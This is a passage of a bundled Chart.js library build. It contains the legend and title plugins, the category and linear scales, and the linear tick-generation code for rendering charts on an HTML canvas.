{\n\t\t\t\t\tcursor.x += width + (labelOpts.padding);\n\t\t\t\t} else {\n\t\t\t\t\tcursor.y += itemHeight;\n\t\t\t\t}\n\n\t\t\t});\n\t\t}\n\t},\n\n\t/**\n\t * Handle an event\n\t * @private\n\t * @param {IEvent} event - The event to handle\n\t * @return {Boolean} true if a change occured\n\t */\n\thandleEvent: function(e) {\n\t\tvar me = this;\n\t\tvar opts = me.options;\n\t\tvar type = e.type === 'mouseup' ? 'click' : e.type;\n\t\tvar changed = false;\n\n\t\tif (type === 'mousemove') {\n\t\t\tif (!opts.onHover) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t} else if (type === 'click') {\n\t\t\tif (!opts.onClick) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t} else {\n\t\t\treturn;\n\t\t}\n\n\t\t// Chart event already has relative position in it\n\t\tvar x = e.x;\n\t\tvar y = e.y;\n\n\t\tif (x >= me.left && x <= me.right && y >= me.top && y <= me.bottom) {\n\t\t\t// See if we are touching one of the dataset boxes\n\t\t\tvar lh = me.legendHitBoxes;\n\t\t\tfor (var i = 0; i < lh.length; ++i) {\n\t\t\t\tvar hitBox = lh[i];\n\n\t\t\t\tif (x >= hitBox.left && x <= hitBox.left + hitBox.width && y >= hitBox.top && y <= hitBox.top + hitBox.height) {\n\t\t\t\t\t// Touching an element\n\t\t\t\t\tif (type === 'click') {\n\t\t\t\t\t\t// use e.native for backwards compatibility\n\t\t\t\t\t\topts.onClick.call(me, e.native, me.legendItems[i]);\n\t\t\t\t\t\tchanged = true;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t} else if (type === 'mousemove') {\n\t\t\t\t\t\t// use e.native for backwards compatibility\n\t\t\t\t\t\topts.onHover.call(me, e.native, me.legendItems[i]);\n\t\t\t\t\t\tchanged = true;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn changed;\n\t}\n});\n\nfunction createNewLegendAndAttach(chart, legendOpts) {\n\tvar legend = new Legend({\n\t\tctx: chart.ctx,\n\t\toptions: legendOpts,\n\t\tchart: chart\n\t});\n\n\tlayouts.configure(chart, legend, legendOpts);\n\tlayouts.addBox(chart, legend);\n\tchart.legend = legend;\n}\n\nmodule.exports = {\n\tid: 'legend',\n\n\t/**\n\t * Backward compatibility: since 2.1.5, the legend is registered as a plugin, making\n\t * Chart.Legend obsolete. To avoid a breaking change, we export the Legend as part of\n\t * the plugin, which one will be re-exposed in the chart.js file.\n\t * https://github.com/chartjs/Chart.js/pull/2640\n\t * @private\n\t */\n\t_element: Legend,\n\n\tbeforeInit: function(chart) {\n\t\tvar legendOpts = chart.options.legend;\n\n\t\tif (legendOpts) {\n\t\t\tcreateNewLegendAndAttach(chart, legendOpts);\n\t\t}\n\t},\n\n\tbeforeUpdate: function(chart) {\n\t\tvar legendOpts = chart.options.legend;\n\t\tvar legend = chart.legend;\n\n\t\tif (legendOpts) {\n\t\t\thelpers.mergeIf(legendOpts, defaults.global.legend);\n\n\t\t\tif (legend) {\n\t\t\t\tlayouts.configure(chart, legend, legendOpts);\n\t\t\t\tlegend.options = legendOpts;\n\t\t\t} else {\n\t\t\t\tcreateNewLegendAndAttach(chart, legendOpts);\n\t\t\t}\n\t\t} else if (legend) {\n\t\t\tlayouts.removeBox(chart, legend);\n\t\t\tdelete chart.legend;\n\t\t}\n\t},\n\n\tafterEvent: function(chart, e) {\n\t\tvar legend = chart.legend;\n\t\tif (legend) {\n\t\t\tlegend.handleEvent(e);\n\t\t}\n\t}\n};\n\n},{\"25\":25,\"26\":26,\"30\":30,\"45\":45}],52:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar Element = require(26);\nvar helpers = require(45);\nvar layouts = require(30);\n\nvar noop = helpers.noop;\n\ndefaults._set('global', {\n\ttitle: {\n\t\tdisplay: false,\n\t\tfontStyle: 'bold',\n\t\tfullWidth: true,\n\t\tlineHeight: 1.2,\n\t\tpadding: 10,\n\t\tposition: 'top',\n\t\ttext: '',\n\t\tweight: 2000         // by default greater than legend (1000) to be above\n\t}\n});\n\n/**\n * IMPORTANT: this class is exposed publicly as Chart.Legend, backward compatibility required!\n */\nvar Title = Element.extend({\n\tinitialize: function(config) {\n\t\tvar me = this;\n\t\thelpers.extend(me, config);\n\n\t\t// Contains hit boxes for each dataset (in dataset order)\n\t\tme.legendHitBoxes = [];\n\t},\n\n\t// These methods are ordered by lifecycle. Utilities then follow.\n\n\tbeforeUpdate: noop,\n\tupdate: function(maxWidth, maxHeight, margins) {\n\t\tvar me = this;\n\n\t\t// Update Lifecycle - Probably don't want to ever extend or overwrite this function ;)\n\t\tme.beforeUpdate();\n\n\t\t// Absorb the master measurements\n\t\tme.maxWidth = maxWidth;\n\t\tme.maxHeight = maxHeight;\n\t\tme.margins = margins;\n\n\t\t// Dimensions\n\t\tme.beforeSetDimensions();\n\t\tme.setDimensions();\n\t\tme.afterSetDimensions();\n\t\t// Labels\n\t\tme.beforeBuildLabels();\n\t\tme.buildLabels();\n\t\tme.afterBuildLabels();\n\n\t\t// Fit\n\t\tme.beforeFit();\n\t\tme.fit();\n\t\tme.afterFit();\n\t\t//\n\t\tme.afterUpdate();\n\n\t\treturn me.minSize;\n\n\t},\n\tafterUpdate: noop,\n\n\t//\n\n\tbeforeSetDimensions: noop,\n\tsetDimensions: function() {\n\t\tvar me = this;\n\t\t// Set the unconstrained dimension before label rotation\n\t\tif (me.isHorizontal()) {\n\t\t\t// Reset position before calculating rotation\n\t\t\tme.width = me.maxWidth;\n\t\t\tme.left = 0;\n\t\t\tme.right = me.width;\n\t\t} else {\n\t\t\tme.height = me.maxHeight;\n\n\t\t\t// Reset position before calculating rotation\n\t\t\tme.top = 0;\n\t\t\tme.bottom = me.height;\n\t\t}\n\n\t\t// Reset padding\n\t\tme.paddingLeft = 0;\n\t\tme.paddingTop = 0;\n\t\tme.paddingRight = 0;\n\t\tme.paddingBottom = 0;\n\n\t\t// Reset minSize\n\t\tme.minSize = {\n\t\t\twidth: 0,\n\t\t\theight: 0\n\t\t};\n\t},\n\tafterSetDimensions: noop,\n\n\t//\n\n\tbeforeBuildLabels: noop,\n\tbuildLabels: noop,\n\tafterBuildLabels: noop,\n\n\t//\n\n\tbeforeFit: noop,\n\tfit: function() {\n\t\tvar me = this;\n\t\tvar valueOrDefault = helpers.valueOrDefault;\n\t\tvar opts = me.options;\n\t\tvar display = opts.display;\n\t\tvar fontSize = valueOrDefault(opts.fontSize, defaults.global.defaultFontSize);\n\t\tvar minSize = me.minSize;\n\t\tvar lineCount = helpers.isArray(opts.text) ? opts.text.length : 1;\n\t\tvar lineHeight = helpers.options.toLineHeight(opts.lineHeight, fontSize);\n\t\tvar textSize = display ? (lineCount * lineHeight) + (opts.padding * 2) : 0;\n\n\t\tif (me.isHorizontal()) {\n\t\t\tminSize.width = me.maxWidth; // fill all the width\n\t\t\tminSize.height = textSize;\n\t\t} else {\n\t\t\tminSize.width = textSize;\n\t\t\tminSize.height = me.maxHeight; // fill all the height\n\t\t}\n\n\t\tme.width = minSize.width;\n\t\tme.height = minSize.height;\n\n\t},\n\tafterFit: noop,\n\n\t// Shared Methods\n\tisHorizontal: function() {\n\t\tvar pos = this.options.position;\n\t\treturn pos === 'top' || pos === 'bottom';\n\t},\n\n\t// Actually draw the title block on the canvas\n\tdraw: function() {\n\t\tvar me = this;\n\t\tvar ctx = me.ctx;\n\t\tvar valueOrDefault = helpers.valueOrDefault;\n\t\tvar opts = me.options;\n\t\tvar globalDefaults = defaults.global;\n\n\t\tif (opts.display) {\n\t\t\tvar fontSize = valueOrDefault(opts.fontSize, globalDefaults.defaultFontSize);\n\t\t\tvar fontStyle = valueOrDefault(opts.fontStyle, globalDefaults.defaultFontStyle);\n\t\t\tvar fontFamily = valueOrDefault(opts.fontFamily, globalDefaults.defaultFontFamily);\n\t\t\tvar titleFont = helpers.fontString(fontSize, fontStyle, fontFamily);\n\t\t\tvar lineHeight = helpers.options.toLineHeight(opts.lineHeight, fontSize);\n\t\t\tvar offset = lineHeight / 2 + opts.padding;\n\t\t\tvar rotation = 0;\n\t\t\tvar top = me.top;\n\t\t\tvar left = me.left;\n\t\t\tvar bottom = me.bottom;\n\t\t\tvar right = me.right;\n\t\t\tvar maxWidth, titleX, titleY;\n\n\t\t\tctx.fillStyle = valueOrDefault(opts.fontColor, globalDefaults.defaultFontColor); // render in correct colour\n\t\t\tctx.font = titleFont;\n\n\t\t\t// Horizontal\n\t\t\tif (me.isHorizontal()) {\n\t\t\t\ttitleX = left + ((right - left) / 2); // midpoint of the width\n\t\t\t\ttitleY = top + offset;\n\t\t\t\tmaxWidth = right - left;\n\t\t\t} else {\n\t\t\t\ttitleX = opts.position === 'left' ? left + offset : right - offset;\n\t\t\t\ttitleY = top + ((bottom - top) / 2);\n\t\t\t\tmaxWidth = bottom - top;\n\t\t\t\trotation = Math.PI * (opts.position === 'left' ? -0.5 : 0.5);\n\t\t\t}\n\n\t\t\tctx.save();\n\t\t\tctx.translate(titleX, titleY);\n\t\t\tctx.rotate(rotation);\n\t\t\tctx.textAlign = 'center';\n\t\t\tctx.textBaseline = 'middle';\n\n\t\t\tvar text = opts.text;\n\t\t\tif (helpers.isArray(text)) {\n\t\t\t\tvar y = 0;\n\t\t\t\tfor (var i = 0; i < text.length; ++i) {\n\t\t\t\t\tctx.fillText(text[i], 0, y, maxWidth);\n\t\t\t\t\ty += lineHeight;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tctx.fillText(text, 0, 0, maxWidth);\n\t\t\t}\n\n\t\t\tctx.restore();\n\t\t}\n\t}\n});\n\nfunction createNewTitleBlockAndAttach(chart, titleOpts) {\n\tvar title = new Title({\n\t\tctx: chart.ctx,\n\t\toptions: titleOpts,\n\t\tchart: chart\n\t});\n\n\tlayouts.configure(chart, title, titleOpts);\n\tlayouts.addBox(chart, title);\n\tchart.titleBlock = title;\n}\n\nmodule.exports = {\n\tid: 'title',\n\n\t/**\n\t * Backward compatibility: since 2.1.5, the title is registered as a plugin, making\n\t * Chart.Title obsolete. To avoid a breaking change, we export the Title as part of\n\t * the plugin, which one will be re-exposed in the chart.js file.\n\t * https://github.com/chartjs/Chart.js/pull/2640\n\t * @private\n\t */\n\t_element: Title,\n\n\tbeforeInit: function(chart) {\n\t\tvar titleOpts = chart.options.title;\n\n\t\tif (titleOpts) {\n\t\t\tcreateNewTitleBlockAndAttach(chart, titleOpts);\n\t\t}\n\t},\n\n\tbeforeUpdate: function(chart) {\n\t\tvar titleOpts = chart.options.title;\n\t\tvar titleBlock = chart.titleBlock;\n\n\t\tif (titleOpts) {\n\t\t\thelpers.mergeIf(titleOpts, defaults.global.title);\n\n\t\t\tif (titleBlock) {\n\t\t\t\tlayouts.configure(chart, titleBlock, titleOpts);\n\t\t\t\ttitleBlock.options = titleOpts;\n\t\t\t} else {\n\t\t\t\tcreateNewTitleBlockAndAttach(chart, titleOpts);\n\t\t\t}\n\t\t} else if (titleBlock) {\n\t\t\tlayouts.removeBox(chart, titleBlock);\n\t\t\tdelete chart.titleBlock;\n\t\t}\n\t}\n};\n\n},{\"25\":25,\"26\":26,\"30\":30,\"45\":45}],53:[function(require,module,exports){\n'use strict';\n\nmodule.exports = function(Chart) {\n\n\t// Default config for a category scale\n\tvar defaultConfig = {\n\t\tposition: 'bottom'\n\t};\n\n\tvar DatasetScale = Chart.Scale.extend({\n\t\t/**\n\t\t* Internal function to get the correct labels. If data.xLabels or data.yLabels are defined, use those\n\t\t* else fall back to data.labels\n\t\t* @private\n\t\t*/\n\t\tgetLabels: function() {\n\t\t\tvar data = this.chart.data;\n\t\t\treturn this.options.labels || (this.isHorizontal() ? data.xLabels : data.yLabels) || data.labels;\n\t\t},\n\n\t\tdetermineDataLimits: function() {\n\t\t\tvar me = this;\n\t\t\tvar labels = me.getLabels();\n\t\t\tme.minIndex = 0;\n\t\t\tme.maxIndex = labels.length - 1;\n\t\t\tvar findIndex;\n\n\t\t\tif (me.options.ticks.min !== undefined) {\n\t\t\t\t// user specified min value\n\t\t\t\tfindIndex = labels.indexOf(me.options.ticks.min);\n\t\t\t\tme.minIndex = findIndex !== -1 ? findIndex : me.minIndex;\n\t\t\t}\n\n\t\t\tif (me.options.ticks.max !== undefined) {\n\t\t\t\t// user specified max value\n\t\t\t\tfindIndex = labels.indexOf(me.options.ticks.max);\n\t\t\t\tme.maxIndex = findIndex !== -1 ? findIndex : me.maxIndex;\n\t\t\t}\n\n\t\t\tme.min = labels[me.minIndex];\n\t\t\tme.max = labels[me.maxIndex];\n\t\t},\n\n\t\tbuildTicks: function() {\n\t\t\tvar me = this;\n\t\t\tvar labels = me.getLabels();\n\t\t\t// If we are viewing some subset of labels, slice the original array\n\t\t\tme.ticks = (me.minIndex === 0 && me.maxIndex === labels.length - 1) ? labels : labels.slice(me.minIndex, me.maxIndex + 1);\n\t\t},\n\n\t\tgetLabelForIndex: function(index, datasetIndex) {\n\t\t\tvar me = this;\n\t\t\tvar data = me.chart.data;\n\t\t\tvar isHorizontal = me.isHorizontal();\n\n\t\t\tif (data.yLabels && !isHorizontal) {\n\t\t\t\treturn me.getRightValue(data.datasets[datasetIndex].data[index]);\n\t\t\t}\n\t\t\treturn me.ticks[index - me.minIndex];\n\t\t},\n\n\t\t// Used to get data value locations.  Value can either be an index or a numerical value\n\t\tgetPixelForValue: function(value, index) {\n\t\t\tvar me = this;\n\t\t\tvar offset = me.options.offset;\n\t\t\t// 1 is added because we need the length but we have the indexes\n\t\t\tvar offsetAmt = Math.max((me.maxIndex + 1 - me.minIndex - (offset ? 0 : 1)), 1);\n\n\t\t\t// If value is a data object, then index is the index in the data array,\n\t\t\t// not the index of the scale. We need to change that.\n\t\t\tvar valueCategory;\n\t\t\tif (value !== undefined && value !== null) {\n\t\t\t\tvalueCategory = me.isHorizontal() ? value.x : value.y;\n\t\t\t}\n\t\t\tif (valueCategory !== undefined || (value !== undefined && isNaN(index))) {\n\t\t\t\tvar labels = me.getLabels();\n\t\t\t\tvalue = valueCategory || value;\n\t\t\t\tvar idx = labels.indexOf(value);\n\t\t\t\tindex = idx !== -1 ? idx : index;\n\t\t\t}\n\n\t\t\tif (me.isHorizontal()) {\n\t\t\t\tvar valueWidth = me.width / offsetAmt;\n\t\t\t\tvar widthOffset = (valueWidth * (index - me.minIndex));\n\n\t\t\t\tif (offset) {\n\t\t\t\t\twidthOffset += (valueWidth / 2);\n\t\t\t\t}\n\n\t\t\t\treturn me.left + Math.round(widthOffset);\n\t\t\t}\n\t\t\tvar valueHeight = me.height / offsetAmt;\n\t\t\tvar heightOffset = (valueHeight * (index - me.minIndex));\n\n\t\t\tif (offset) {\n\t\t\t\theightOffset += (valueHeight / 2);\n\t\t\t}\n\n\t\t\treturn me.top + Math.round(heightOffset);\n\t\t},\n\t\tgetPixelForTick: function(index) {\n\t\t\treturn this.getPixelForValue(this.ticks[index], index + this.minIndex, null);\n\t\t},\n\t\tgetValueForPixel: function(pixel) {\n\t\t\tvar me = this;\n\t\t\tvar offset = me.options.offset;\n\t\t\tvar value;\n\t\t\tvar offsetAmt = Math.max((me._ticks.length - (offset ? 0 : 1)), 1);\n\t\t\tvar horz = me.isHorizontal();\n\t\t\tvar valueDimension = (horz ? me.width : me.height) / offsetAmt;\n\n\t\t\tpixel -= horz ? me.left : me.top;\n\n\t\t\tif (offset) {\n\t\t\t\tpixel -= (valueDimension / 2);\n\t\t\t}\n\n\t\t\tif (pixel <= 0) {\n\t\t\t\tvalue = 0;\n\t\t\t} else {\n\t\t\t\tvalue = Math.round(pixel / valueDimension);\n\t\t\t}\n\n\t\t\treturn value + me.minIndex;\n\t\t},\n\t\tgetBasePixel: function() {\n\t\t\treturn this.bottom;\n\t\t}\n\t});\n\n\tChart.scaleService.registerScaleType('category', DatasetScale, defaultConfig);\n\n};\n\n},{}],54:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar helpers = require(45);\nvar Ticks = require(34);\n\nmodule.exports = function(Chart) {\n\n\tvar defaultConfig = {\n\t\tposition: 'left',\n\t\tticks: {\n\t\t\tcallback: Ticks.formatters.linear\n\t\t}\n\t};\n\n\tvar LinearScale = Chart.LinearScaleBase.extend({\n\n\t\tdetermineDataLimits: function() {\n\t\t\tvar me = this;\n\t\t\tvar opts = me.options;\n\t\t\tvar chart = me.chart;\n\t\t\tvar data = chart.data;\n\t\t\tvar datasets = data.datasets;\n\t\t\tvar isHorizontal = me.isHorizontal();\n\t\t\tvar DEFAULT_MIN = 0;\n\t\t\tvar DEFAULT_MAX = 1;\n\n\t\t\tfunction IDMatches(meta) {\n\t\t\t\treturn isHorizontal ? meta.xAxisID === me.id : meta.yAxisID === me.id;\n\t\t\t}\n\n\t\t\t// First Calculate the range\n\t\t\tme.min = null;\n\t\t\tme.max = null;\n\n\t\t\tvar hasStacks = opts.stacked;\n\t\t\tif (hasStacks === undefined) {\n\t\t\t\thelpers.each(datasets, function(dataset, datasetIndex) {\n\t\t\t\t\tif (hasStacks) {\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\n\t\t\t\t\tvar meta = chart.getDatasetMeta(datasetIndex);\n\t\t\t\t\tif (chart.isDatasetVisible(datasetIndex) && IDMatches(meta) &&\n\t\t\t\t\t\tmeta.stack !== undefined) {\n\t\t\t\t\t\thasStacks = true;\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tif (opts.stacked || hasStacks) {\n\t\t\t\tvar valuesPerStack = {};\n\n\t\t\t\thelpers.each(datasets, function(dataset, datasetIndex) {\n\t\t\t\t\tvar meta = chart.getDatasetMeta(datasetIndex);\n\t\t\t\t\tvar key = [\n\t\t\t\t\t\tmeta.type,\n\t\t\t\t\t\t// we have a separate stack for stack=undefined datasets when the opts.stacked is undefined\n\t\t\t\t\t\t((opts.stacked === undefined && meta.stack === undefined) ? datasetIndex : ''),\n\t\t\t\t\t\tmeta.stack\n\t\t\t\t\t].join('.');\n\n\t\t\t\t\tif (valuesPerStack[key] === undefined) {\n\t\t\t\t\t\tvaluesPerStack[key] = {\n\t\t\t\t\t\t\tpositiveValues: [],\n\t\t\t\t\t\t\tnegativeValues: []\n\t\t\t\t\t\t};\n\t\t\t\t\t}\n\n\t\t\t\t\t// Store these per type\n\t\t\t\t\tvar positiveValues = valuesPerStack[key].positiveValues;\n\t\t\t\t\tvar negativeValues = valuesPerStack[key].negativeValues;\n\n\t\t\t\t\tif (chart.isDatasetVisible(datasetIndex) && IDMatches(meta)) {\n\t\t\t\t\t\thelpers.each(dataset.data, function(rawValue, index) {\n\t\t\t\t\t\t\tvar value = +me.getRightValue(rawValue);\n\t\t\t\t\t\t\tif (isNaN(value) || meta.data[index].hidden) {\n\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tpositiveValues[index] = positiveValues[index] || 0;\n\t\t\t\t\t\t\tnegativeValues[index] = negativeValues[index] || 0;\n\n\t\t\t\t\t\t\tif (opts.relativePoints) {\n\t\t\t\t\t\t\t\tpositiveValues[index] = 100;\n\t\t\t\t\t\t\t} else if (value < 0) {\n\t\t\t\t\t\t\t\tnegativeValues[index] += value;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tpositiveValues[index] += value;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t});\n\n\t\t\t\thelpers.each(valuesPerStack, function(valuesForType) {\n\t\t\t\t\tvar values = valuesForType.positiveValues.concat(valuesForType.negativeValues);\n\t\t\t\t\tvar minVal = helpers.min(values);\n\t\t\t\t\tvar maxVal = helpers.max(values);\n\t\t\t\t\tme.min = me.min === null ? minVal : Math.min(me.min, minVal);\n\t\t\t\t\tme.max = me.max === null ? maxVal : Math.max(me.max, maxVal);\n\t\t\t\t});\n\n\t\t\t} else {\n\t\t\t\thelpers.each(datasets, function(dataset, datasetIndex) {\n\t\t\t\t\tvar meta = chart.getDatasetMeta(datasetIndex);\n\t\t\t\t\tif (chart.isDatasetVisible(datasetIndex) && IDMatches(meta)) {\n\t\t\t\t\t\thelpers.each(dataset.data, function(rawValue, index) {\n\t\t\t\t\t\t\tvar value = +me.getRightValue(rawValue);\n\t\t\t\t\t\t\tif (isNaN(value) || meta.data[index].hidden) {\n\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (me.min === null) {\n\t\t\t\t\t\t\t\tme.min = value;\n\t\t\t\t\t\t\t} else if (value < me.min) {\n\t\t\t\t\t\t\t\tme.min = value;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (me.max === null) {\n\t\t\t\t\t\t\t\tme.max = value;\n\t\t\t\t\t\t\t} else if (value > me.max) {\n\t\t\t\t\t\t\t\tme.max = value;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tme.min = isFinite(me.min) && !isNaN(me.min) ? me.min : DEFAULT_MIN;\n\t\t\tme.max = isFinite(me.max) && !isNaN(me.max) ? me.max : DEFAULT_MAX;\n\n\t\t\t// Common base implementation to handle ticks.min, ticks.max, ticks.beginAtZero\n\t\t\tthis.handleTickRangeOptions();\n\t\t},\n\t\tgetTickLimit: function() {\n\t\t\tvar maxTicks;\n\t\t\tvar me = this;\n\t\t\tvar tickOpts = me.options.ticks;\n\n\t\t\tif (me.isHorizontal()) {\n\t\t\t\tmaxTicks = Math.min(tickOpts.maxTicksLimit ? tickOpts.maxTicksLimit : 11, Math.ceil(me.width / 50));\n\t\t\t} else {\n\t\t\t\t// The factor of 2 used to scale the font size has been experimentally determined.\n\t\t\t\tvar tickFontSize = helpers.valueOrDefault(tickOpts.fontSize, defaults.global.defaultFontSize);\n\t\t\t\tmaxTicks = Math.min(tickOpts.maxTicksLimit ? tickOpts.maxTicksLimit : 11, Math.ceil(me.height / (2 * tickFontSize)));\n\t\t\t}\n\n\t\t\treturn maxTicks;\n\t\t},\n\t\t// Called after the ticks are built. We need\n\t\thandleDirectionalChanges: function() {\n\t\t\tif (!this.isHorizontal()) {\n\t\t\t\t// We are in a vertical orientation. The top value is the highest. So reverse the array\n\t\t\t\tthis.ticks.reverse();\n\t\t\t}\n\t\t},\n\t\tgetLabelForIndex: function(index, datasetIndex) {\n\t\t\treturn +this.getRightValue(this.chart.data.datasets[datasetIndex].data[index]);\n\t\t},\n\t\t// Utils\n\t\tgetPixelForValue: function(value) {\n\t\t\t// This must be called after fit has been run so that\n\t\t\t// this.left, this.top, this.right, and this.bottom have been defined\n\t\t\tvar me = this;\n\t\t\tvar start = me.start;\n\n\t\t\tvar rightValue = +me.getRightValue(value);\n\t\t\tvar pixel;\n\t\t\tvar range = me.end - start;\n\n\t\t\tif (me.isHorizontal()) {\n\t\t\t\tpixel = me.left + (me.width / range * (rightValue - start));\n\t\t\t} else {\n\t\t\t\tpixel = me.bottom - (me.height / range * (rightValue - start));\n\t\t\t}\n\t\t\treturn pixel;\n\t\t},\n\t\tgetValueForPixel: function(pixel) {\n\t\t\tvar me = this;\n\t\t\tvar isHorizontal = me.isHorizontal();\n\t\t\tvar innerDimension = isHorizontal ? me.width : me.height;\n\t\t\tvar offset = (isHorizontal ? pixel - me.left : me.bottom - pixel) / innerDimension;\n\t\t\treturn me.start + ((me.end - me.start) * offset);\n\t\t},\n\t\tgetPixelForTick: function(index) {\n\t\t\treturn this.getPixelForValue(this.ticksAsNumbers[index]);\n\t\t}\n\t});\n\tChart.scaleService.registerScaleType('linear', LinearScale, defaultConfig);\n\n};\n\n},{\"25\":25,\"34\":34,\"45\":45}],55:[function(require,module,exports){\n'use strict';\n\nvar helpers = require(45);\n\n/**\n * Generate a set of linear ticks\n * @param generationOptions the options used to generate the ticks\n * @param dataRange the range of the data\n * @returns {Array<Number>} array of tick values\n */\nfunction generateTicks(generationOptions, dataRange) {\n\tvar ticks = [];\n\t// To get a \"nice\" value for the tick spacing, we will use the appropriately named\n\t// \"nice number\" algorithm. See http://stackoverflow.com/questions/8506881/nice-label-algorithm-for-charts-with-minimum-ticks\n\t// for details.\n\n\tvar spacing;\n\tif (generationOptions.stepSize && generationOptions.stepSize > 0) {\n\t\tspacing = generationOptions.stepSize;\n\t} else {\n\t\tvar niceRange = helpers.niceNum(dataRange.max - dataRange.min, false);\n\t\tspacing = helpers.niceNum(niceRange / (generationOptions.maxTicks - 1), true);\n\t}\n\tvar niceMin = Math.floor(dataRange.min / spacing) * spacing;\n\tvar niceMax = Math.ceil(dataRange.max / spacing) * spacing;\n\n\t// If min, max and stepSize is set and they make an evenly spaced scale use it.\n\tif (generationOptions.min && generationOptions.max && generationOptions.stepSize) {\n\t\t// If very close to our whole number, use it.\n\t\tif (helpers.almostWhole((generationOptions.max - generationOptions.min) / generationOptions.stepSize, spacing / 1000)) {\n\t\t\tniceMin = generationOptions.min;\n\t\t\tniceMax = generationOptions.max;\n\t\t}\n\t}\n\n\tvar numSpaces = (niceMax - niceMin) / spacing;\n\t// If very close to our rounded value, use it.\n\tif (helpers.almostEquals(numSpaces, Math.round(numSpaces), spacing / 1000)) {\n\t\tnumSpaces = Math.round(numSpaces);\n\t} else {\n\t\tnumSpaces = Math.ceil(numSpaces);\n\t}\n\n\tvar precision = 1;\n\tif (spacing < 1) {\n\t\tprecision = Math.pow(10, spacing.toString().length - 2);\n\t\tniceMin = Math.round(niceMin * precision) / precision;\n\t\tniceMax = Math.round(niceMax * precision) / precision;\n\t}\n\tticks.push(generationOptions.min !== undefined ? generationOptions.min : niceMin);\n\tfor (var j = 1; j < numSpaces; ++j) {\n\t\tticks.push(Math.round((niceMin + j * spacing) * precision) / precision);\n\t}\n\tticks.push(generationOptions.max !== undefined ? generationOptions.max : niceMax);\n\n\treturn ticks;\n}\n\n\nmodule.exports = function(Chart) {\n\n\tvar noop = helpers.noop;\n\n\tChart.LinearScaleBase = Chart.Scale.extend({\n\t\tgetRightValue: function(value) {\n\t\t\tif (typeof value === 'string') {\n\t\t\t\treturn +value;\n\t\t\t}\n\t\t\treturn Chart.Scale.prototype.getRightValue.call(this, value);\n\t\t},\n\n\t\thandleTickRangeOptions: function() {\n\t\t\tvar me = this;\n\t\t\tvar opts = me.options;\n\t\t\tvar tickOpts = opts.ticks;\n\n\t\t\t// If we are forcing it to begin at 0, but 0 will already be rendered on the chart,\n\t\t\t// do nothing since that would make the chart weird. If the user really wants a weird chart\n\t\t\t// axis, they can manually override it\n\t\t\tif (tickOpts.beginAtZero) {\n\t\t\t\tvar minSign = helpers.sign(me.min);\n\t\t\t\tvar maxSign = helpers.sign(me.max);\n\n\t\t\t\tif (minSign < 0 && maxSign < 0) {\n\t\t\t\t\t// move the top up to 0\n\t\t\t\t\tme.max = 0;\n\t\t\t\t} else if (minSign > 0 && maxSign > 0) {\n\t\t\t\t\t// move the bottom down to 0\n\t\t\t\t\tme.min = 0;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tvar setMin = tickOpts.min !== undefined || tickOpts.suggestedMin !== undefined;\n\t\t\tvar setMax = tickOpts.max !== undefined || tickOpts.suggestedMax !== undefined;\n\n\t\t\tif (tickOpts.min !== undefined) {\n\t\t\t\tme.min = tickOpts.min;\n\t\t\t} else if (tickOpts.suggestedMin !== undefined) {\n\t\t\t\tif (me.min === null) {\n\t\t\t\t\tme.min = tickOpts.suggestedMin;\n\t\t\t\t} else {\n\t\t\t\t\tme.min = Math.min(me.min, tickOpts.suggestedMin);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (tickOpts.max !== undefined) {\n\t\t\t\tme.max = tickOpts.max;\n\t\t\t} else if (tickOpts.suggestedMax !== undefined) {\n\t\t\t\tif (me.max === null) {\n\t\t\t\t\tme.max = tickOpts.suggestedMax;\n\t\t\t\t} else {\n\t\t\t\t\tme.max = Math.max(me.max, tickOpts.suggestedMax);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (setMin !== setMax) {\n\t\t\t\t// We set the min or the max but not both.\n\t\t\t\t// So ensure that our range is good\n\t\t\t\t// Inverted or 0 length range can happen when\n\t\t\t\t// ticks.min is set, and no datasets are visible\n\t\t\t\tif (me.min >= me.max) {\n\t\t\t\t\tif (setMin) {\n\t\t\t\t\t\tme.max = me.min + 1;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tme.min = me.max - 1;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (me.min === me.max) {\n\t\t\t\tme.max++;\n\n\t\t\t\tif (!tickOpts.beginAtZero) {\n\t\t\t\t\tme.min--;\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\tgetTickLimit: noop,\n\t\thandleDirectionalChanges: noop,\n\n\t\tbuildTicks: function() {\n\t\t\tvar me = this;\n\t\t\tvar opts = me.options;\n\t\t\tvar tickOpts = opts.ticks;\n\n\t\t\t// Figure out what the max number of ticks we can support it is based on the size of\n\t\t\t// the axis area. For now, we say that the minimum tick spacing in pixels must be 50\n\t\t\t// We also limit the maximum number of ticks to 11 which gives a nice 10 squares on\n\t\t\t// the graph. Make sure we always have at least 2 ticks\n\t\t\tvar maxTicks = me.getTickLimit();\n\t\t\tmaxTicks = Math.max(2, maxTicks);\n\n\t\t\tvar numericGeneratorOptions = {\n\t\t\t\tmaxTicks: maxTicks,\n\t\t\t\tmin: tickOpts.min,\n\t\t\t\tmax: tickOpts.max,\n\t\t\t\tstepSize: helpers.valueOrDefault(tickOpts.fixedStepSize, tickOpts.stepSize)\n\t\t\t};\n\t\t\tvar ticks = me.ticks = generateTicks(numericGeneratorOptions, 